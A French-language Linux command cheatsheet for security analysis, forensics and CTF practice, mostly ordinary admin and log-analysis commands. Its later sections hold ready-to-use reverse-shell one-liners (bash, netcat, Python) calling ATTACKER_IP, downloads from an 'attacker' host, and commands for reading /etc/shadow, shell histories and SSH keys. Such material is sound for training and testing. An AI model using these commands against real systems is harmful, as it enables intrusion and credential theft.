Linux Cheatsheet - Cybersécurité
Référence rapide des commandes Linux essentielles pour l'analyse de sécurité, l'investigation forensique et les CTF.
1. Navigation & Fichiers
Navigation de base
pwd # Répertoire actuel
cd /path/to/dir # Changer de répertoire
cd .. # Répertoire parent
cd ~ # Home directory
cd - # Répertoire précédent
ls # Lister les fichiers
ls -la # Liste détaillée + fichiers cachés
ls -lah # + Taille human-readable
ls -lat # Trié par date de modification
ls -laR # Récursif
Recherche de fichiers
# find - Recherche par critères
find / -name "secret.txt" # Par nom
find / -name "*.log" # Par extension
find / -iname "*.txt" # Insensible à la casse
find / -type f -size +100M # Fichiers > 100MB
find / -type f -mtime -7 # Modifiés < 7 jours
find / -type f -user root # Appartenant à root
find / -perm -4000 2>/dev/null # Fichiers SUID
find / -perm -2000 2>/dev/null # Fichiers SGID
find / -writable 2>/dev/null # Fichiers writables
find / -type f -exec grep -l "password" {} \; # Contenant "password"
# locate - Recherche rapide (base de données)
locate secret.txt
updatedb # Mettre à jour la base
# which / whereis - Localiser un binaire
which python
whereis nmap
Lecture de fichiers
cat file.txt # Afficher tout
head -n 20 file.txt # 20 premières lignes
tail -n 20 file.txt # 20 dernières lignes
tail -f /var/log/syslog # Suivre en temps réel
less file.txt # Navigation (q pour quitter)
more file.txt # Pagination simple
# Fichiers volumineux
wc -l file.txt # Compter les lignes
split -l 1000 file.txt part_ # Découper en parties
Manipulation de fichiers
cp file.txt /dest/ # Copier
cp -r dir/ /dest/ # Copier répertoire
mv file.txt /dest/ # Déplacer/renommer
rm file.txt # Supprimer
rm -rf dir/ # Supprimer répertoire (⚠️ dangereux)
mkdir -p /path/to/dir # Créer répertoires
touch file.txt # Créer fichier vide
2. Grep, Awk, Sed
Grep - Recherche de patterns
grep "error" file.txt # Recherche simple
grep -i "error" file.txt # Insensible à la casse
grep -r "password" /var/log/ # Récursif
grep -v "info" file.txt # Inverser (exclure)
grep -n "error" file.txt # Afficher numéros de ligne
grep -c "error" file.txt # Compter les occurrences
grep -l "error" *.log # Lister fichiers matchant
grep -A 3 "error" file.txt # 3 lignes après
grep -B 3 "error" file.txt # 3 lignes avant
grep -C 3 "error" file.txt # 3 lignes avant et après
grep -E "error|warning" file.txt # Regex (OR)
grep -P "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" file.txt # Perl regex (IPs)
# Exemples pratiques
grep -r "password" /etc/ 2>/dev/null
grep -E "^Failed|^Accepted" /var/log/auth.log
zgrep "error" /var/log/*.gz # Dans fichiers compressés
Awk - Traitement de colonnes
awk '{print $1}' file.txt # 1ère colonne
awk '{print $1, $3}' file.txt # 1ère et 3ème colonne
awk -F':' '{print $1}' /etc/passwd # Délimiteur personnalisé
awk '{print NR, $0}' file.txt # Numéro de ligne
awk 'NR==5' file.txt # Ligne 5 uniquement
awk 'NR>=5 && NR<=10' file.txt # Lignes 5 à 10
awk '/error/' file.txt # Lignes contenant "error"
awk '{sum+=$1} END {print sum}' file.txt # Somme d'une colonne
awk '!seen[$0]++' file.txt # Dédupliquer
# Exemples pratiques
cat /etc/passwd | awk -F':' '{print $1, $7}' # Users + shells
netstat -an | awk '/ESTABLISHED/ {print $5}' # IPs connectées
cat access.log | awk '{print $1}' | sort | uniq -c # Count par IP
Sed - Édition de texte
sed 's/old/new/' file.txt # Remplacer (1ère occurrence)
sed 's/old/new/g' file.txt # Remplacer (toutes)
sed -i 's/old/new/g' file.txt # Modifier le fichier
sed '5d' file.txt # Supprimer ligne 5
sed '/pattern/d' file.txt # Supprimer lignes matchant
sed -n '5,10p' file.txt # Afficher lignes 5 à 10
sed 's/^/prefix_/' file.txt # Ajouter préfixe
sed 's/$/_suffix/' file.txt # Ajouter suffixe
# Exemples pratiques
sed 's/\x00//g' file.txt # Supprimer null bytes
sed '/^#/d' config.txt # Supprimer commentaires
sed '/^$/d' file.txt # Supprimer lignes vides
3. Utilisateurs & Permissions
Informations utilisateur
whoami # Utilisateur courant
id # UID, GID, groupes
id username # Infos d'un utilisateur
groups # Groupes de l'utilisateur
who # Utilisateurs connectés
w # Utilisateurs + activité
last # Historique des connexions
lastlog # Dernière connexion par user
Fichiers importants
cat /etc/passwd # Liste des utilisateurs
cat /etc/shadow # Hashs des mots de passe (root)
cat /etc/group # Groupes
cat /etc/sudoers # Configuration sudo
cat ~/.bash_history # Historique des commandes
cat ~/.ssh/authorized_keys # Clés SSH autorisées
Permissions
ls -la file.txt # Voir les permissions
# -rwxr-xr-x = owner(rwx) group(r-x) others(r-x)
chmod 755 file.txt # rwxr-xr-x
chmod 644 file.txt # rw-r--r--
chmod +x script.sh # Ajouter exécution
chmod u+s binary # Ajouter SUID
chown user:group file.txt # Changer propriétaire
# Permissions spéciales
# SUID (4) - Exécute avec les droits du propriétaire
# SGID (2) - Exécute avec les droits du groupe
# Sticky (1) - Seul le propriétaire peut supprimer
Recherche de vulnérabilités
# Fichiers SUID (potentiel privesc)
find / -perm -4000 -type f 2>/dev/null
# Fichiers SGID
find / -perm -2000 -type f 2>/dev/null
# Fichiers world-writable
find / -perm -o+w -type f 2>/dev/null
# Fichiers sans propriétaire
find / -nouser -o -nogroup 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Sudo sans mot de passe
sudo -l
4. Réseau
Informations réseau
ip a # Interfaces et IPs
ip r # Table de routage
ifconfig # Interfaces (legacy)
hostname -I # IP de la machine
cat /etc/resolv.conf # Serveurs DNS
cat /etc/hosts # Résolution locale
arp -a # Table ARP
Connexions actives
# ss (moderne)
ss -tuln # Ports en écoute
ss -tunp # Avec PID/process
ss -ta # Toutes les connexions TCP
ss -s # Statistiques
# netstat (legacy)
netstat -tuln # Ports en écoute
netstat -tunp # Avec PID/process
netstat -an # Toutes les connexions
# Connexions établies
ss -ta state established
netstat -an | grep ESTABLISHED
Diagnostic réseau
ping -c 4 8.8.8.8 # Test de connectivité
traceroute google.com # Chemin réseau
nslookup domain.com # Résolution DNS
dig domain.com # Résolution DNS détaillée
dig -x 8.8.8.8 # Reverse DNS
host domain.com # Résolution simple
curl -I https://site.com # Headers HTTP
wget -q -O- https://site.com # Contenu HTTP
Scan et analyse
# Nmap
nmap -sn 192.168.1.0/24 # Ping sweep
nmap -sV -sC target # Scan de services
nmap -p- target # Tous les ports
nmap -sU target # Ports UDP
nmap --script vuln target # Scripts de vulnérabilité
# Netcat
nc -lvnp 4444 # Listener
nc target 80 # Connexion
nc -zv target 1-1000 # Scan de ports
nc -lvnp 4444 > file.txt # Recevoir fichier
nc target 4444 < file.txt # Envoyer fichier
# Tcpdump
tcpdump -i eth0 # Capturer le trafic
tcpdump -i eth0 port 80 # Filtrer par port
tcpdump -i eth0 -w capture.pcap # Sauvegarder en PCAP
tcpdump -r capture.pcap # Lire un PCAP
5. Processus & Services
Gestion des processus
ps aux # Tous les processus
ps aux | grep nginx # Filtrer par nom
ps -ef --forest # Arborescence
pstree # Arbre des processus
top # Monitoring temps réel
htop # Monitoring amélioré
pgrep nginx # PID par nom
pidof nginx # PID par nom exact
kill PID # Terminer un processus
kill -9 PID # Forcer la terminaison
killall nginx # Tuer par nom
pkill -f "pattern" # Tuer par pattern
Services (systemd)
systemctl status nginx # État d'un service
systemctl start nginx # Démarrer
systemctl stop nginx # Arrêter
systemctl restart nginx # Redémarrer
systemctl enable nginx # Activer au boot
systemctl disable nginx # Désactiver au boot
systemctl list-units --type=service # Lister les services
systemctl list-unit-files # État des services
Tâches planifiées
# Crontab utilisateur
crontab -l # Lister les tâches
crontab -e # Éditer
# Crontabs système
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
# Format cron
# MIN HOUR DOM MON DOW COMMAND
# */5 * * * * /script.sh # Toutes les 5 min
# Timers systemd
systemctl list-timers
6. Logs & Investigation
Logs système
# Logs principaux
/var/log/syslog # Logs système (Debian/Ubuntu)
/var/log/messages # Logs système (RHEL/CentOS)
/var/log/auth.log # Authentification (Debian)
/var/log/secure # Authentification (RHEL)
/var/log/kern.log # Logs kernel
/var/log/dmesg # Boot messages
/var/log/apache2/ # Logs Apache
/var/log/nginx/ # Logs Nginx
# Journalctl (systemd)
journalctl # Tous les logs
journalctl -u nginx # Logs d'un service
journalctl -f # Suivre en temps réel
journalctl --since "1 hour ago" # Dernière heure
journalctl -p err # Erreurs uniquement
journalctl -b # Depuis le dernier boot
Analyse de logs
# Connexions SSH échouées
grep "Failed password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
# Connexions SSH réussies
grep "Accepted" /var/log/auth.log
# Analyse Apache/Nginx
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head 20
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head 20
grep "404" access.log | wc -l
grep -E "sqlmap|nikto|nmap" access.log
# Dernières modifications
find /var/log -mtime -1 -type f
Analyse forensique
# Info sur un fichier
file suspicious_file # Type de fichier
stat file.txt # Métadonnées complètes
exiftool image.jpg # Métadonnées EXIF
# Hashs
md5sum file.txt
sha256sum file.txt
sha1sum file.txt
# Strings
strings binary # Extraire les strings
strings -n 10 binary # Min 10 caractères
strings binary | grep -i password
# Hexdump
xxd file.txt # Vue hexadécimale
xxd file.txt | head -50
hexdump -C file.txt
# Binaires
ldd /path/to/binary # Librairies liées
nm binary # Symboles
objdump -d binary # Désassembler
7. Encodage & Crypto
Base64
# Encoder
echo "secret" | base64
base64 file.txt > encoded.txt
# Décoder
echo "c2VjcmV0Cg==" | base64 -d
base64 -d encoded.txt > decoded.txt
Hexadécimal
# Texte vers Hex
echo "secret" | xxd -p
# Hex vers texte
echo "736563726574" | xxd -r -p
Hashing
echo -n "password" | md5sum
echo -n "password" | sha256sum
echo -n "password" | sha1sum
# Hasher un fichier
md5sum file.txt
sha256sum file.txt
OpenSSL
# Chiffrer un fichier
openssl enc -aes-256-cbc -salt -in file.txt -out file.enc
# Déchiffrer
openssl enc -aes-256-cbc -d -in file.enc -out file.txt
# Générer un mot de passe aléatoire
openssl rand -base64 32
openssl rand -hex 16
# Voir un certificat
openssl x509 -in cert.pem -text -noout
8. Transfert de fichiers
HTTP
# Serveur HTTP simple (sur la machine source)
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Télécharger (sur la machine cible)
wget http://attacker:8080/file.txt
curl http://attacker:8080/file.txt -o file.txt
Netcat
# Récepteur
nc -lvnp 4444 > received_file.txt
# Émetteur
nc target 4444 < file.txt
SCP
# Upload
scp file.txt user@target:/path/
# Download
scp user@target:/path/file.txt ./
# Répertoire
scp -r folder/ user@target:/path/
Base64 (via copier-coller)
# Encoder (source)
base64 -w 0 file.txt
# Décoder (cible)
echo "BASE64_STRING" | base64 -d > file.txt
9. Compression & Archives
Tar
# Créer une archive
tar -cvf archive.tar folder/
tar -czvf archive.tar.gz folder/ # Avec compression gzip
tar -cjvf archive.tar.bz2 folder/ # Avec compression bzip2
# Extraire
tar -xvf archive.tar
tar -xzvf archive.tar.gz
tar -xjvf archive.tar.bz2
tar -xvf archive.tar -C /destination/
# Lister le contenu
tar -tvf archive.tar
Gzip / Bzip2
gzip file.txt # Compresser → file.txt.gz
gunzip file.txt.gz # Décompresser
zcat file.txt.gz # Afficher sans décompresser
bzip2 file.txt # Compresser → file.txt.bz2
bunzip2 file.txt.bz2 # Décompresser
Zip
zip archive.zip file1 file2 # Créer
zip -r archive.zip folder/ # Répertoire
unzip archive.zip # Extraire
unzip -l archive.zip # Lister le contenu
7z
7z a archive.7z folder/ # Créer
7z x archive.7z # Extraire
7z l archive.7z # Lister
10. Oneliners utiles
Investigation
# Trouver les derniers fichiers modifiés
find / -type f -mmin -60 2>/dev/null
# Trouver les fichiers cachés
find / -name ".*" -type f 2>/dev/null
# Historique de toutes les sessions
cat /home/*/.bash_history
# Processus avec connexions réseau
lsof -i -P -n
# Fichiers ouverts par un processus
lsof -p PID
# Binaires avec capabilities
getcap -r / 2>/dev/null
# Clés SSH sur le système
find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null
Reverse shells
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
# Netcat
nc -e /bin/bash ATTACKER_IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Stabiliser un shell
# Sur la cible
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
# Sur l'attaquant
stty raw -echo; fg
Quick Reference Card
| Action | Commande |
|---|---|
| Trouver SUID | find / -perm -4000 2>/dev/null |
| Ports ouverts | ss -tuln |
| Connexions actives | ss -tunp |
| Processus | ps aux |
| Logs auth | cat /var/log/auth.log |
| Users | cat /etc/passwd |
| Hashs | cat /etc/shadow |
| Crontabs | crontab -l && cat /etc/crontab |
| Services | systemctl list-units --type=service |
| Historique | cat ~/.bash_history |
| Kernel | uname -a |
| OS | cat /etc/os-release |
Références
- GTFOBins - Exploiter les binaires Linux
- HackTricks Linux - Privilege Escalation
- Explainshell - Comprendre les commandes
- SS64 - Référence Bash
